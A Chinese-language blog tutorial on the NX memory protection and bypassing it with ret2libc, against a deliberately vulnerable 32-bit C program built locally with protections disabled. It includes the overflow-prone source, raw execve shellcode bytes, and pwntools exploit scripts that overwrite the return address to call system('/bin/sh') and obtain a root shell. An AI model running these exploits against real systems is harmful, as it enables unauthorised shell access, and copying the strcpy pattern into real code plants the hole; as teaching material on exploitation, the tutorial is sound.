NX机制及绕过策略-ret2libc

注: 请结合这篇文章:经典栈溢出-https://www.jianshu.com/p/6a1235d99176查看文本

一,NX

溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。

NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

二,使用之前经典的栈溢出利用脚本进行测试(本文顶端链接)

1.源码

文件名:NX.c

#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
    char buffer[64];
    strcpy(buffer,msg);
    return;
}

int main()
{
    puts("So plz give me your shellcode:");
    char buffer[256];
    memset(buffer,0,256);
    read(0,buffer,256);
    vul(buffer);
    return 0;
}

可以看到,其是将main函数里的buffer作为msg传入vul函数里,然后拷贝到vul中的buffer,但是main函数中buffer大小为256,而vul函数中buffer的大小为64,这就是问题所在。

2.编译

gcc编译:gcc -m32 -g -ggdb -fno-stack-protector -no-pie NX.c -o pwnme
-z execstack参数加上后会关闭NX

3.尝试运行pwnme


正常运行!

4.尝试使用之前的脚本破解

文件名:false_exp.py

from pwn import *

p = process('./pwnme')                    #运行程序
p.recvuntil("shellcode:")                 #当接受到字符串'shellcode:'

#找jmp_esp_addr_offset,见本文第四节第二点
libc = ELF('/lib32/libc.so.6')              
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
    print 'Cannot find jmp_esp in libc'
else:
    print hex(jmp_esp_addr_offset)

libc_base = 0xf7dd1000                              #你找到的libc加载地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr

print hex(jmp_esp_addr)

#构造布局,本文第三节
buf = 'A'*76                                                     #因为64个字符已经将申请的空间填满,接下来就会产生溢出
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:
    f.write(buf)

p.sendline(buf)                                                #发送构造后的buf

p.interactive()

运行==========>崩溃

三,崩溃原因

运行起pwnme,并保持运行状态,新打开一个终端,输入ps -a,查看pwnmepid



输入cat /proc/2472/maps查看,可以发现存在栈不可执行

原因:NX机制已开启,虽然在栈空间的布局正常,程序尝试去执行shellcode,但由于栈地址没有执行权限,导致奔溃。

四,改变布局-ret2libc

ret2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。
一般情况下,我们会选择执行system("/bin/sh"),在不存在ASLR(地址随机化)的情况下,可以直接通过调试获得system的函数地址以及“/bin/sh”的地址 。

布局图:

布局原理

布局完成后,返回地址return_addr被覆盖为libc文件里的system函数地址,当运行到esp位置时,会跳转到system中执行,同时,esp指向esp+4,这时对system来说,它内部的ret(返回地址)执行时esp指针还是指向esp+4的,也就是esp + 4(0xdeadbeef)就是system函数的返回地址,而esp+8则是它的参数

注:对于不想使程序崩溃,可以将esp+4的覆盖为exit函数的地址,但要只是想得到shell,就是没什么所谓,因为在它崩溃前,你已经获得了shell,所以我在这里只是覆盖为0xdeadbeef

五,找地址

我们先找到system/bin/shlibc文件里的偏移地址,然后找到libc文件在程序里的加载地址libc_base,之后分别相加求取system/bin/sh在程序里的加载位置system_addr/bin/sh_addr

1.查看加载的libc文件版本

2.查看libc文件在程序里的加载地址(libc_base)

命令:LD_TRACE_LOADED_OBJECTS=1 ./pwnme

得到libc_base = 0xf7dd1000

3.查找system与/bin/sh在libc中的地址

ida打开libc.so.6

①system

functions window使用ctrl + f搜索system函数,双击system

得到0x0003d7e0

②/bin/sh

ctrl + 1打开quick view,选择strings打开strings windowctrl + f12

ctrl + f 搜索/bin/sh

得到0x0017c968

4.system与/bin/sh在程序里的地址

ststem_addr = libc_base + 0x0003d7e0
/bin/sh_addr = libc_base+ 0x0017c968

六,代码及效果

代码

文件名:true_exp.py

from pwn import *

p = process('./pwnme')                    #运行程序
p.recvuntil("shellcode:")                 #当接受到字符串'shellcode:'

libc_base = 0xf7dd1000
system_addr = libc_base + 0x0003D7E0
bin_sh_addr = libc_base + 0x0017C968

#布局
buf = 'A'*76                              #如何得到填充数据大小:https://www.jianshu.com/p/278f8d1f8322
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)

with open('poc','wb') as f :
    f.write(buf)

p.sendline(buf)                           #开始溢出

p.interactive()

效果

运行true_exp.py


输入whoami返回root,溢出成功!!!
Ret2Libc虽然把数据放在了不具备可执行权限的栈上,但成功执行了shellcode,这是因为只是把输入数据当做纯数据来间接劫持程序的执行流

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342

推荐阅读更多精彩内容